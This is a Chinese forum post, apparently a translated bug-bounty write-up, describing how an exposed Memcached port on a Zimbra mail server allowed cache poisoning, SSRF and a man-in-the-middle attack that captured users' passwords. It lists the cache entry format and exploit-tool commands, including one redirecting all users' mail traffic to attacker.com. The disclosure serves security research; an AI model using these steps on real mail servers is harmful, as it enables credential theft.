用户
搜索
  • TA的每日心情
    郁闷
    2020-7-29 16:16
  • 签到天数: 2 天

    连续签到: 1 天

    [LV.1]初来乍到

    i春秋-脚本小子

    Rank: 2

    2

    主题

    9

    帖子

    93

    魔法币
    收听
    1
    粉丝
    0
    注册时间
    2018-4-17
    发表于 2020-7-30 22:46:57 92676
    这篇文章是关于作者和他的朋友如何从Cafebazaar bug赏金计划中获得约2500美元奖励的故事。





    侦察阶段

    在侦察阶段,作者枚举了mailx.hezardastan.net的主机,即Cafebazaar的网络邮件访问入口。随后扫描了端口,结果如下:


    1.png




    开了很多端口,其中,Memcached的11211端口发现异常。经过一些基本测试,结果表明:
    • 1.无需认证即可与11211端口通信
    • 2.电子邮件地址由Zimbra保存在缓存中
    • 3.具有添加/修改/删除缓存数据的能力
    • 4.有进行DDOS攻击的能力
    • 但是,作者一直在寻找更危险的东西,比如文件泄露,远程命令执行等。

    攻击Zimbra


    Zimbra将通信协议方案、用户名和后端服务器IP地址保存在Memcached中。在这之前,使用Metasploit中的memcached_extractor模块进行了数据提取(可以手动完成):
    2.png
    3.png


    可见结果中跑出很多邮件地址(标红部分),作者可以利用这些电子邮件地址进行网络钓鱼或暴力攻击。但是,作者对漏洞利用仍然不满意。(可傲娇了)

    首先看一下Zimbra的工作流程:
    • 1.用户通过其凭据进行身份验证
    • 2.服务器将用户名和后端服务器URL保存在缓存中
    • 3.用户使用Zimbra
    • 4.服务器从缓存中检索后端URL
    • 5.服务器与检索到的URL以及用户数据通信
    4.png

    下面举例说明Zimbra是如何将数据保存在缓存中:
    route:proto = imapssl;user= [REDUCTED] @ cafebazaar.ir 127.0.0.1:7993 
    route:proto = pop3ssl; user = [REDUCTED] @ cafebazaar.cloud 127.0.0.1:7995 
    route:proto = httpssl; user = [REDUCTED ] @ cafebazaar.ir 127.0.0.1:8443

    格式为:
    route:proto = [UserProtocol]; user =EmailAddressOrID

    支持的协议:
    IMAPSSL 127.0.0.1:7993
    POP3SSL 127.0.0.1:7995
    HTTPSSL(HTTPS)127.0.0.1:8443

    考虑到我们可以通过互联网访问后端服务器:
    IMAPSSL mailx.hezardastan.net:7993 
    POP3SSL mailx.hezardastan.net:7995 
    HTTPSSL(HTTPS)mailx.hezardastan.net:8443

    作者设计了一种攻击场景,剩余部分将进行介绍。




    发现SSRF漏洞

    该场景是针对SSRF测试服务器。攻击场景是将后端服务器IP地址更改为任意地址(攻击者的服务器),以便重定向服务器流量。

    测试SSRF的步骤:
    • 1.通过自签名SSL证书在某个端口上建立SSL侦听器
    • 2.更改用户的缓存以重定向流量
    通过更改缓存,建立起了一个来自maix.hezardastan.net的连接,如下图。

    5.png


    SSRF已实现:)


    中间人攻击


    中间人攻击的主要目的是在邮件服务器正常工作时窃取用户信息(包括凭据,电子邮件等)。为了不影响用户正常使用功能,我们不得不把流量重定向回服务器。考虑到后端开放端口都可以从互联网访问得到,我们可以实现这个中间人攻击场景。

    6.png


    MITM场景:
    • 1.用户登录到其帐户后,后端服务器IP被保存在缓存中
    • 2.攻击者将后端信息更改为他的IP地址
    • 3.Zimbra的流量被重定向到攻击者的服务器上
    • 4.攻击者卸载SSL并提取信息(主要是凭证信息等)
    • 5.攻击者与后端端口建立SSL连接(这些端口是打开的)
    • 6.对用户进行攻击后,攻击者会将缓存恢复为默认值。

    作者编写了一个利用代码,其中包含以下几部分:

    7.png

    1.提取已经登录的电子邮件地址
    python HezarSploit.py -m dumpusers

    8.png


    2.伪造IMAPSSL服务器与客户端进行通信
    python HezarSploit.py -m mitm --port 4444

    将凭证转储到credentials.txt中。

    3.修改所有已登录用户(或某个用户)的缓存
    python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444

    4.将缓存更改为默认值
    python HezarSploit.py -m reset

    综合起来,那就是:

    在服务器中:
    python HezarSploit.py -m mitm --port 4444
    9.png


    在本地命令行中:
    python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444
    10.png

    结果如下图:
    11.png

    作者几乎以纯文本形式获得了所有用户的密码。样本如下:

    12.png

    本文完

    作者报告了该漏洞,响应很迅速,并在不到一个小时的时间内修复了该漏洞。几天后,他们给了作者约2.5k的赏金。希望这篇文章对你们有所帮助。

    发表于 2020-7-31 10:45:10
    赏金给的低了点,哈哈哈
    使用道具 举报 回复
    发表于 2020-7-31 10:45:19
    感谢分享
    使用道具 举报 回复
    人家拿的是美元,谢谢
    使用道具 举报 回复
    发表于 2020-7-31 10:47:03
    美刀2.5k???
    使用道具 举报 回复
    很强
    使用道具 举报 回复
    发表于 2020-7-31 11:19:37

    是的,美刀呢
    使用道具 举报 回复
    很强啊师傅
    使用道具 举报 回复
    发表于 2020-7-31 15:41:44
    使用道具 举报 回复
    弱鸡目瞪口呆
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册